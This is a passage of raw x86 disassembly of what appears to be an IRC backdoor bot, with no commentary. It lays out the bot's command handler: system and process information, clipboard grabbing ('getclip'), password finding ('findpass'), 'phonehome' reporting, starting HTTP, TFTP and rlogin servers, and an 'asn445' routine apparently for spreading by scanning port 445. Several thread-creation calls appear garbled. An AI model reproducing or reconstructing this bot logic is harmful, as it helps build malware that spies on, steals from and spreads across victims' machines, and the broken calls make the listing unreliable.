		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40422F
		push	edi
		push	offset aNetinfo	; "netinfo"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041F5
		push	edi
		push	offset aNi	; "ni"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041F5
		push	edi
		push	offset aSysinfo	; "sysinfo"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041CA
		push	edi
		push	offset aSi	; "si"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041CA
		push	edi
		push	offset aKosomakyad ; "KOSOMAKYAD"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404190
		push	edi
		push	offset aKosomak	; "KOSOMAK"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404190
		push	edi
		push	offset aProcs	; "procs"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404070
		push	edi
		push	offset aPs	; "ps"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404070
		push	edi
		push	offset aUptime	; "uptime"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FE9
		push	edi
		push	offset aUp	; "up"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FE9
		push	edi
		push	offset aDriveinfo ; "driveinfo"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FCC
		push	edi
		push	offset aDrv	; "drv"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FCC
		push	edi
		push	offset aTestdlls ; "testdlls"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FB3
		push	edi
		push	offset aDll	; "dll"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FB3
		push	edi
		push	offset aOpencmd	; "opencmd"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F3F
		push	edi
		push	offset aOcmd	; "ocmd"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F3F
		push	edi
		push	offset aCmdstop	; "cmdstop"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40339E
		push	[ebp+esi+var_8C]
		push	0Ah
		push	offset dword_42C57C
		push	offset dword_42C570
		jmp	loc_408CFE
; ---------------------------------------------------------------------------


loc_40339E:				; CODE XREF: sub_401AC7+18BDj
		push	edi
		push	offset dword_42C56C
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4034B4
		cmp	[ebp+var_8], ebx
		jnz	short loc_4033D2
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42C558
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409862
		add	esp, 14h


loc_4033D2:				; CODE XREF: sub_401AC7+18EFj
		mov	eax, [ebp+arg_18]
		xor	edi, edi
		mov	[ebp+arg_18], eax
		jmp	short loc_4033DF
; ---------------------------------------------------------------------------


loc_4033DC:				; CODE XREF: sub_401AC7+195Fj
		mov	eax, [ebp+arg_18]


loc_4033DF:				; CODE XREF: sub_401AC7+1913j
		cmp	[eax], bl
		jz	short loc_4033E6
		inc	eax
		jmp	short loc_4033EB
; ---------------------------------------------------------------------------


loc_4033E6:				; CODE XREF: sub_401AC7+191Aj
		mov	eax, offset aEmpty ; "<Empty>"


loc_4033EB:				; CODE XREF: sub_401AC7+191Dj
		push	eax
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset aD_S	; "%d. %s"
		push	eax
		call	sub_41C006
		push	1
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409862
		add	[ebp+arg_18], 80h
		add	esp, 24h
		inc	edi
		cmp	edi, 3
		jl	short loc_4033DC
		push	offset unk_42C528
		call	sub_415CEE
		pop	ecx


loc_403433:				; CODE XREF: sub_401AC7+1BF0j
					; sub_401AC7+2F0Aj
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		mov	[ebp+arg_20], edi
		jz	loc_401F6C
		push	[ebp+arg_8]
		push	offset aSpoof	; "spoof"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404ADD
		push	offset aOff	; "off"
		push	edi
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4049E3
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C4F4
		push	eax
		mov	dword_4CCAC0, ebx
		call	sub_41C006
		pop	ecx
		pop	ecx


loc_40348A:				; CODE XREF: sub_401AC7+2FBDj
					; sub_401AC7+2FE3j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_409643
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409862


loc_4034AC:				; CODE XREF: sub_401AC7+6FBBj
					; sub_401AC7+7021j
		add	esp, 14h
		jmp	loc_409643
; ---------------------------------------------------------------------------


loc_4034B4:				; CODE XREF: sub_401AC7+18E6j
		push	edi
		push	offset aGetclip	; "getclip"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403EFE
		push	edi
		push	offset aGc	; "gc"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403EFE
		push	edi
		push	offset aFlusharp ; "flusharp"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403EE7
		push	edi
		push	offset aFarp	; "farp"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403EE7
		push	edi
		push	offset aFlushdns ; "flushdns"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403EAF
		push	edi
		push	offset aFdns	; "fdns"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403EAF
		push	edi
		push	offset aCurrentip ; "currentip"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403E75
		push	edi
		push	offset aCip	; "cip"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403E75
		push	edi
		push	offset aRloginserver ; "rloginserver"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403D3D
		push	edi
		push	offset aRlogin	; "rlogin"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403D3D
		push	edi
		push	offset aHttpserver ; "httpserver"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403BB1
		push	edi
		push	offset aHttp	; "http"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403BB1
		push	edi
		push	offset aTftpserver ; "tftpserver"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403A7A
		push	edi
		push	offset aTftp	; "tftp"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403A7A
		push	edi
		push	offset aShitycrash ; "shitycrash"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403640
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C44C
		push	eax
		call	sub_41C006
		cmp	[ebp+var_8], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_40361F
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409862
		add	esp, 14h


loc_40361F:				; CODE XREF: sub_401AC7+1B3Aj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415CEE
		mov	[esp+10h+var_10], offset aShitycrash ; "shitycrash"
		push	[ebp+esi+var_7C]
		call	sub_41C7E0
		jmp	loc_4097CF
; ---------------------------------------------------------------------------


loc_403640:				; CODE XREF: sub_401AC7+1B22j
		push	edi
		push	offset aAsn445	; "asn445"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403773
		push	edi
		push	offset off_42C440
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403773
		push	edi
		push	offset aPhonehome ; "phonehome"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403697
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: DADI	Are You	T"...
		push	[ebp+arg_4]
		call	sub_40981C


loc_40368F:				; CODE XREF: sub_401AC7+478j
		add	esp, 0Ch
		jmp	loc_401F6C
; ---------------------------------------------------------------------------


loc_403697:				; CODE XREF: sub_401AC7+1BB2j
		push	edi
		push	offset aFindpass ; "findpass"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4036BD
		push	edi
		push	offset aFp	; "fp"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_403433


loc_4036BD:				; CODE XREF: sub_401AC7+1BDFj
		push	[ebp+var_88]
		lea	eax, [ebp+var_FEC]
		push	80h
		push	eax
		call	sub_41C100
		mov	eax, [ebp+arg_4]
		push	offset unk_42C3C8
		mov	[ebp+var_FF0], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_F68], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_F64], eax
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41C100
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	26h
		push	eax
		call	sub_40B3AD
		add	esp, 24h
		mov	[ebp+var_F6C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_FF0]
		push	ebx
		push	eax
		push	offset sub_417269
		push	ebx
		push	ebx
		call	near ptr 2680000h
		nop
		mov	ecx, [ebp+var_F6C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C254[ecx], eax
		jz	short loc_403762


loc_40374C:				; CODE XREF: sub_401AC7+1C99j
		cmp	[ebp+var_F60], ebx
		jnz	loc_40830C
		push	32h
		nop
		call	near ptr 2670EE1h
		jmp	short loc_40374C
; ---------------------------------------------------------------------------


loc_403762:				; CODE XREF: sub_401AC7+1C83j
		nop
		call	near ptr 26807F9h
		push	eax
		push	offset unk_42C38C
		jmp	loc_4082FD
; ---------------------------------------------------------------------------


loc_403773:				; CODE XREF: sub_401AC7+1B88j
					; sub_401AC7+1B9Dj
		mov	al, byte_431A2A
		mov	[ebp+arg_0], ebx
		cmp	al, bl
		mov	edx, offset byte_431A2A
		jz	loc_401F6C
		mov	ecx, edx


loc_40378A:				; CODE XREF: sub_401AC7+1CCBj
		inc	[ebp+arg_0]
		add	ecx, 0Bh
		cmp	[ecx], bl
		jnz	short loc_40378A
		cmp	al, bl
		jz	loc_401F6C
		mov	[ebp+arg_18], edx


loc_40379F:				; CODE XREF: sub_401AC7+1F9Ej
		push	0Bh
		call	sub_40B5F5
		pop	ecx
		mov	ecx, eax
		mov	eax, 190h
		cdq
		idiv	[ebp+arg_0]
		mov	edx, eax
		mov	eax, 320h
		add	edx, ecx
		cmp	edx, eax
		jle	short loc_4037F2
		push	ecx
		lea	eax, [ebp+var_2C4]
		push	offset dword_42C350
		push	eax
		call	sub_41C006
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409862
		add	esp, 20h
		jmp	loc_403A5C
; ---------------------------------------------------------------------------


loc_4037F2:				; CODE XREF: sub_401AC7+1CF6j
		or	[ebp+var_730], 0FFFFFFFFh
		cmp	dword_431808, ebx
		mov	[ebp+var_734], 64h
		mov	[ebp+var_748], 5
		mov	[ebp+var_744], eax
		mov	[ebp+arg_0], ebx
		jz	short loc_40385F
		mov	eax, [ebp+arg_18]
		mov	esi, offset dword_431808
		lea	edi, [eax-0Ah]


loc_403829:				; CODE XREF: sub_401AC7+1D7Aj
		lea	eax, [esi-28h]
		push	edi
		push	eax
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_403845
		inc	[ebp+arg_0]
		add	esi, 40h
		cmp	[esi], ebx
		jnz	short loc_403829
		jmp	short loc_40385F
; ---------------------------------------------------------------------------


loc_403845:				; CODE XREF: sub_401AC7+1D70j
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		mov	[ebp+var_730], eax
		shl	ecx, 6
		mov	ecx, dword_431808[ecx]
		mov	[ebp+var_74C], ecx


loc_40385F:				; CODE XREF: sub_401AC7+1D55j
					; sub_401AC7+1D7Cj
		cmp	[ebp+var_74C], ebx
		jz	loc_403A70
		push	10h
		lea	eax, [ebp+var_2D4]
		pop	esi
		push	eax
		lea	eax, [ebp+var_30C]
		push	eax
		mov	[ebp+var_2D4], esi
		push	[ebp+arg_4]
		call	dword_4C92A8
		mov	al, [ebp+var_8FF]
		push	esi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_308], eax
		push	[ebp+var_308]
		call	dword_4C9390
		push	eax
		lea	eax, [ebp+var_860]
		push	eax
		call	sub_41BD70
		xor	eax, eax
		cmp	[ebp+var_8FF], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	esi, eax
		lea	eax, [ebp+var_860]
		push	eax
		call	sub_41C5B0
		add	esp, 14h
		cmp	esi, ebx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_403907


loc_4038E5:				; CODE XREF: sub_401AC7+1E3Ej
		cmp	eax, ebx
		jz	short loc_403907
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_860]
		push	30h
		push	eax
		call	sub_41C5B0
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, esi
		jl	short loc_4038E5


loc_403907:				; CODE XREF: sub_401AC7+1E1Cj
					; sub_401AC7+1E20j
		mov	eax, [ebp+arg_4]
		push	[ebp+var_88]
		mov	esi, [ebp+var_4]
		mov	edi, [ebp+var_8]
		mov	[ebp+var_750], eax
		lea	eax, [ebp+var_850]
		push	80h
		push	eax
		mov	[ebp+var_720], 1
		mov	[ebp+var_728], esi
		mov	[ebp+var_724], edi
		call	sub_41C100
		push	offset byte_43B4B8
		push	offset aF	; "#f"
		call	sub_41C7E0
		add	esp, 14h
		test	eax, eax
		jz	short loc_403974
		push	offset aF	; "#f"
		lea	eax, [ebp+var_7D0]
		push	80h
		push	eax
		call	sub_41C100
		add	esp, 0Ch
		jmp	short loc_40397A
; ---------------------------------------------------------------------------


loc_403974:				; CODE XREF: sub_401AC7+1E90j
		mov	[ebp+var_7D0], bl


loc_40397A:				; CODE XREF: sub_401AC7+1EABj
		cmp	[ebp+var_720], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_40398C
		mov	eax, offset aSequential	; "Sequential"


loc_40398C:				; CODE XREF: sub_401AC7+1EBEj
		push	[ebp+var_734]
		lea	ecx, [ebp+var_860]
		push	[ebp+var_744]
		push	[ebp+var_748]
		push	[ebp+var_74C]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C2D0
		push	eax
		call	sub_41C006
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B3AD
		add	esp, 2Ch
		mov	[ebp+var_740], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_860]
		push	ebx
		push	eax
		push	offset loc_40C5E7
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_740]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C254[ecx], eax
		jz	short loc_403A16


loc_403A04:				; CODE XREF: sub_401AC7+1F4Dj
		cmp	[ebp+var_71C], ebx
		jnz	short loc_403A31
		push	32h
		call	near ptr 2670EE1h
		nop
		jmp	short loc_403A04
; ---------------------------------------------------------------------------


loc_403A16:				; CODE XREF: sub_401AC7+1F3Bj
		call	near ptr 26807F9h
		nop
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C294
		push	eax
		call	sub_41C006
		add	esp, 0Ch


loc_403A31:				; CODE XREF: sub_401AC7+1F43j
		cmp	edi, ebx
		jnz	short loc_403A4F
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	esi
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409862
		add	esp, 14h


loc_403A4F:				; CODE XREF: sub_401AC7+1F6Cj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415CEE
		pop	ecx


loc_403A5C:				; CODE XREF: sub_401AC7+1D26j
		add	[ebp+arg_18], 0Bh
		mov	eax, [ebp+arg_18]
		cmp	[eax], bl
		jnz	loc_40379F
		jmp	loc_401F6C
; ---------------------------------------------------------------------------


loc_403A70:				; CODE XREF: sub_401AC7+1D9Ej
		push	offset unk_42C25C
		jmp	loc_406E6F
; ---------------------------------------------------------------------------


loc_403A7A:				; CODE XREF: sub_401AC7+1AF8j
					; sub_401AC7+1B0Dj
		push	5
		call	sub_40B5F5
		test	eax, eax
		pop	ecx
		jle	short loc_403A90
		push	offset unk_42C23C
		jmp	loc_406E6F
; ---------------------------------------------------------------------------


loc_403A90:				; CODE XREF: sub_401AC7+1FBDj
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		jz	short loc_403AB3
		push	eax
		mov	edi, 104h
		lea	eax, [ebp+var_2D54]
		push	edi
		push	eax
		call	sub_41C100
		add	esp, 0Ch
		jmp	short loc_403AC7
; ---------------------------------------------------------------------------


loc_403AB3:				; CODE XREF: sub_401AC7+1FD2j
		mov	edi, 104h
		lea	eax, [ebp+var_2D54]
		push	edi
		push	eax
		push	ebx
		nop
		call	near ptr 2670000h


loc_403AC7:				; CODE XREF: sub_401AC7+1FEAj
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jnz	short loc_403AD7
		mov	esi, offset byte_429108


loc_403AD7:				; CODE XREF: sub_401AC7+2009j
		push	esi
		lea	eax, [ebp+var_2C50]
		push	edi
		push	eax
		call	sub_41C100
		mov	eax, dword_429078
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_2B44],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_2B48],	ebx
		mov	[ebp+var_2D58],	eax
		lea	eax, [ebp+var_2B40]
		push	eax
		call	sub_41BD70
		mov	eax, [ebp+var_4]
		mov	[ebp+var_2AC0],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2ABC],	eax
		lea	eax, [ebp+var_2D54]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_2B44]
		push	offset unk_42C208
		push	eax
		call	sub_41C006
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	5
		push	eax
		call	sub_40B3AD
		add	esp, 34h
		mov	[ebp+var_2B4C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2D58]
		push	ebx
		push	eax
		push	offset byte_412155
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_2B4C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C254[ecx], eax
		jz	short loc_403BA0


loc_403B8A:				; CODE XREF: sub_401AC7+20D7j
		cmp	[ebp+var_2AB8],	ebx
		jnz	loc_4081DE
		push	32h
		call	near ptr 2670EE1h
		nop
		jmp	short loc_403B8A
; ---------------------------------------------------------------------------


loc_403BA0:				; CODE XREF: sub_401AC7+20C1j
		nop
		call	near ptr 26807F9h
		push	eax
		push	offset unk_42C1CC
		jmp	loc_406E56
; ---------------------------------------------------------------------------


loc_403BB1:				; CODE XREF: sub_401AC7+1ACEj
					; sub_401AC7+1AE3j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_403BD0
		push	edi
		call	sub_41BEF9
		test	eax, eax
		pop	ecx
		jz	short loc_403BD0
		push	edi
		call	sub_41BEF9
		pop	ecx
		jmp	short loc_403BD5
; ---------------------------------------------------------------------------


loc_403BD0:				; CODE XREF: sub_401AC7+20F3j
					; sub_401AC7+20FEj
		mov	eax, dword_42907C


loc_403BD5:				; CODE XREF: sub_401AC7+2107j
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_36CC],	eax
		xor	eax, eax
		cmp	[ebp+var_8FC], bl
		setz	al
		cmp	esi, ebx
		mov	[ebp+var_36B8],	eax
		jz	short loc_403C08
		lea	eax, [ebp+var_37D0]
		push	esi
		push	eax
		call	sub_41C006
		pop	ecx
		pop	ecx
		jmp	short loc_403C33
; ---------------------------------------------------------------------------


loc_403C08:				; CODE XREF: sub_401AC7+212Ej
		lea	eax, [ebp+var_49F4]
		push	104h
		push	eax
		nop
		call	near ptr 26709B5h
		push	ebx
		push	ebx
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		lea	eax, [ebp+var_49F4]
		push	eax
		call	sub_41C151
		add	esp, 14h


loc_403C33:				; CODE XREF: sub_401AC7+213Fj
		lea	eax, [ebp+var_37D0]
		push	eax
		call	sub_41B960
		cmp	[ebp+eax+var_37D1], 5Ch
		pop	ecx
		jnz	short loc_403C5E
		lea	eax, [ebp+var_37D0]
		push	eax
		call	sub_41B960
		pop	ecx
		mov	[ebp+eax+var_37D1], bl


loc_403C5E:				; CODE XREF: sub_401AC7+2181j
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_3A58]
		mov	[ebp+var_3A5C],	esi
		push	80h
		push	eax
		call	sub_41C100
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_36BC],	eax
		lea	eax, [ebp+var_37D0]
		mov	[ebp+var_36C0],	edi
		push	eax
		push	[ebp+var_36CC]
		push	esi
		call	sub_40A9FA
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C190
		push	eax
		call	sub_41C006
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	3
		push	eax
		call	sub_40B3AD
		add	esp, 20h
		mov	[ebp+var_36C4],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3A5C]
		push	ebx
		push	eax
		push	offset sub_40FAA3
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_36C4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C254[ecx], eax
		jz	short loc_403D12


loc_403D00:				; CODE XREF: sub_401AC7+2249j
		cmp	[ebp+var_36B0],	ebx
		jnz	short loc_403D2D
		push	32h
		call	near ptr 2670EE1h
		nop
		jmp	short loc_403D00
; ---------------------------------------------------------------------------


loc_403D12:				; CODE XREF: sub_401AC7+2237j
		call	near ptr 26807F9h
		nop
		push	eax
		push	offset unk_42C154


loc_403D1E:				; CODE XREF: sub_401AC7+23A9j
					; sub_401AC7+4C27j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C006
		add	esp, 0Ch


loc_403D2D:				; CODE XREF: sub_401AC7+223Fj
					; sub_401AC7+238Dj ...
		cmp	[ebp+var_8], ebx
		jnz	loc_40830C
		push	ebx
		push	edi
		jmp	loc_4071EA
; ---------------------------------------------------------------------------


loc_403D3D:				; CODE XREF: sub_401AC7+1AA4j
					; sub_401AC7+1AB9j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_403D5C
		push	edi
		call	sub_41BEF9
		test	eax, eax
		pop	ecx
		jz	short loc_403D5C
		push	edi
		call	sub_41BEF9
		pop	ecx
		jmp	short loc_403D61
; ---------------------------------------------------------------------------


loc_403D5C:				; CODE XREF: sub_401AC7+227Fj
					; sub_401AC7+228Aj
		mov	eax, dword_429080


loc_403D61:				; CODE XREF: sub_401AC7+2293j
		mov	[ebp+var_1828],	eax
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jnz	short loc_403D78
		lea	eax, [ebp+var_C4]


loc_403D78:				; CODE XREF: sub_401AC7+22A9j
		push	eax
		lea	eax, [ebp+var_1968]
		push	40h
		push	eax
		call	sub_41C100
		mov	esi, [ebp+esi+var_84]
		add	esp, 0Ch
		cmp	esi, ebx
		jnz	short loc_403D9A
		mov	esi, offset byte_43B4B8


loc_403D9A:				; CODE XREF: sub_401AC7+22CCj
		push	esi
		lea	eax, [ebp+var_1928]
		push	100h
		push	eax
		call	sub_41C100
		push	[ebp+var_88]
		lea	eax, [ebp+var_19E8]
		push	80h
		push	eax
		call	sub_41C100
		mov	eax, [ebp+var_8]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_1814],	eax
		lea	eax, [ebp+var_1968]
		push	eax
		mov	[ebp+var_19EC],	esi
		push	[ebp+var_1828]
		mov	[ebp+var_1818],	edi
		push	esi
		call	sub_40A9FA
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C118
		push	eax
		call	sub_41C006
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	9
		push	eax
		call	sub_40B3AD
		add	esp, 20h
		mov	[ebp+var_1824],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_19EC]
		push	ebx
		push	eax
		push	offset dword_41140C
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_1824]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C254[ecx], eax
		jz	short loc_403E64


loc_403E4E:				; CODE XREF: sub_401AC7+239Bj
		cmp	[ebp+var_1810],	ebx
		jnz	loc_403D2D
		push	32h
		call	near ptr 2670EE1h
		nop
		jmp	short loc_403E4E
; ---------------------------------------------------------------------------


loc_403E64:				; CODE XREF: sub_401AC7+2385j
		nop
		call	near ptr 26807F9h
		push	eax
		push	offset unk_42C0DC
		jmp	loc_403D1E
; ---------------------------------------------------------------------------


loc_403E75:				; CODE XREF: sub_401AC7+1A7Aj
					; sub_401AC7+1A8Fj
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_403E88
		push	esi
		call	sub_41BEF9
		jmp	short loc_403E8F
; ---------------------------------------------------------------------------


loc_403E88:				; CODE XREF: sub_401AC7+23B7j
		push	0Bh
		call	sub_40B614


loc_403E8F:				; CODE XREF: sub_401AC7+23BFj
		cmp	eax, ebx
		pop	ecx
		jz	loc_409643
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40BD05
		jmp	loc_404356
; ---------------------------------------------------------------------------


loc_403EAF:				; CODE XREF: sub_401AC7+1A50j
					; sub_401AC7+1A65j
		mov	eax, dword_4C9220
		cmp	eax, ebx
		jz	short loc_403ECC
		call	eax
		test	eax, eax
		jz	short loc_403EC5
		push	offset unk_42C0B8
		jmp	short loc_403ED1
; ---------------------------------------------------------------------------


loc_403EC5:				; CODE XREF: sub_401AC7+23F5j
		push	offset unk_42C08C
		jmp	short loc_403ED1
; ---------------------------------------------------------------------------


loc_403ECC:				; CODE XREF: sub_401AC7+23EFj
		push	offset unk_42C060


loc_403ED1:				; CODE XREF: sub_401AC7+23FCj
					; sub_401AC7+2403j ...
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41C100
		jmp	loc_406C3F
; ---------------------------------------------------------------------------


loc_403EE7:				; CODE XREF: sub_401AC7+1A26j
					; sub_401AC7+1A3Bj
		call	sub_40A91C
		test	eax, eax
		jz	short loc_403EF7
		push	offset unk_42C03C
		jmp	short loc_403ED1
; ---------------------------------------------------------------------------


loc_403EF7:				; CODE XREF: sub_401AC7+2427j
		push	offset unk_42C010
		jmp	short loc_403ED1
; ---------------------------------------------------------------------------


loc_403EFE:				; CODE XREF: sub_401AC7+19FCj
					; sub_401AC7+1A11j
		cmp	[ebp+var_8], ebx
		jnz	short loc_403F1D
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42BFF8
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409862
		add	esp, 14h


loc_403F1D:				; CODE XREF: sub_401AC7+243Aj
		push	ebx
		push	[ebp+var_4]
		call	sub_4186D4
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409862
		push	offset unk_42BFDC
		jmp	loc_404222
; ---------------------------------------------------------------------------


loc_403F3F:				; CODE XREF: sub_401AC7+1893j
					; sub_401AC7+18A8j
		push	0Ah
		call	sub_40B5F5
		test	eax, eax
		pop	ecx
		jle	short loc_403F52
		push	offset unk_42BFB0
		jmp	short loc_403F73
; ---------------------------------------------------------------------------


loc_403F52:				; CODE XREF: sub_401AC7+2482j
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41A152
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_403F6E
		push	offset unk_42BF88
		jmp	short loc_403F73
; ---------------------------------------------------------------------------


loc_403F6E:				; CODE XREF: sub_401AC7+249Ej
		push	offset unk_42BF68


loc_403F73:				; CODE XREF: sub_401AC7+2489j
					; sub_401AC7+24A5j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C006
		pop	ecx
		pop	ecx


loc_403F81:				; CODE XREF: sub_401AC7+57CEj
					; sub_401AC7+7124j
